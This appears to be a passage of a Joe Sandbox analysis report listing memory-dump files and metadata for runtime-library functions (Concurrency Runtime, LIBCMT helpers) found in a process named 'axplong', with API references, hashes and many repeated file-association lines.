Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 9c6a08661243d655816a7f2312fc2aeda9c8670f445b056501d380223933b248
Instruction ID: b5530621d9ecaf3d073d5270420c9619346d63fcbe204e5da90f04be65291bbc
Opcode Fuzzy Hash: 9c6a08661243d655816a7f2312fc2aeda9c8670f445b056501d380223933b248
Instruction Fuzzy Hash: 0CC1E0B19043049FDF21EF64C845BAABBF6AF06314F04456DE51697782EB31AD08CF61

Function 006B440E Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 006B4468
ListArray.LIBCONCRT ref: 006B449C
Hash.LIBCMT ref: 006B4505
Hash.LIBCMT ref: 006B4515

Part of subcall function 006B9B71: std::bad_exception::bad_exception.LIBCMT ref: 006B9B93

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 006B467B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006B46D4

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: d30b255abe0991782f5f95e784860319c767b4f685852f40580a85d4f1c00e89
Instruction ID: 55a829940af19fd7357cd220bbfa4c5793065312b0ce2a9b10f169d85e397758
Opcode Fuzzy Hash: d30b255abe0991782f5f95e784860319c767b4f685852f40580a85d4f1c00e89
Instruction Fuzzy Hash: 7B8190B0A11B12BBD758EF748845BD9FBA9BF09700F10431EF42897281DBB4A664CBD5

Function 006AED8F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 006AEDEC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 006AEDF8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 006AEE11
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 006AEE3F
Concurrency::Context::Block.LIBCONCRT ref: 006AEE61

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 3e53b7dcd3375e0a8a08cf3f33035fdb462599de59b36c0b3d12ac7179e7981a
Instruction ID: 181070387421cce1537de0ae143ce8df2e678bebf67d68367ca940213b084f15
Opcode Fuzzy Hash: 3e53b7dcd3375e0a8a08cf3f33035fdb462599de59b36c0b3d12ac7179e7981a
Instruction Fuzzy Hash: 24214170D1020ADADF64FFA4C4556EEB7F2BF16310F20062DE151A6291E7B29E44CF55

Function 006CC9B0 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 006CCA37

Strings

5ul, xrefs: 006CC9B2

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: 5ul
API String ID: 3213747228-3417136809
Opcode ID: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction ID: 5fcefd96418873e9834d563c970ae9a612a75e12d091f72955c26ac8fd3fec7c
Opcode Fuzzy Hash: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction Fuzzy Hash: 04B1F3329002859FDB15CF68C891FFEBBA6EF55360F1481AEE849EB341D6349D42CB64

Function 006C1A56 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 006C1A84
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006C1A93
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006C1B57

Strings

switchState, xrefs: 006C1A8B
pContext, xrefs: 006C1B4F

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 54251a4ee75555ae8a5b8b1b90f16164718c0ffde2a2e3f5bcf408cfd855172d
Instruction ID: dd58dcacbe6020e5e7e9b6b24e2ee3a31ef8a1f712616654a4cdba0e31d34ca6
Opcode Fuzzy Hash: 54251a4ee75555ae8a5b8b1b90f16164718c0ffde2a2e3f5bcf408cfd855172d
Instruction Fuzzy Hash: 00318335A002149BCF05EBA8C481EBDB77BEB4B314F21456DE9159B382EB71EE019B90

Function 006C4D4A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 006C4D9D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 006C4DB6
PMDtoOffset.LIBCMT ref: 006C4DDC

Strings

Bad dynamic_cast!, xrefs: 006C4E1E

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
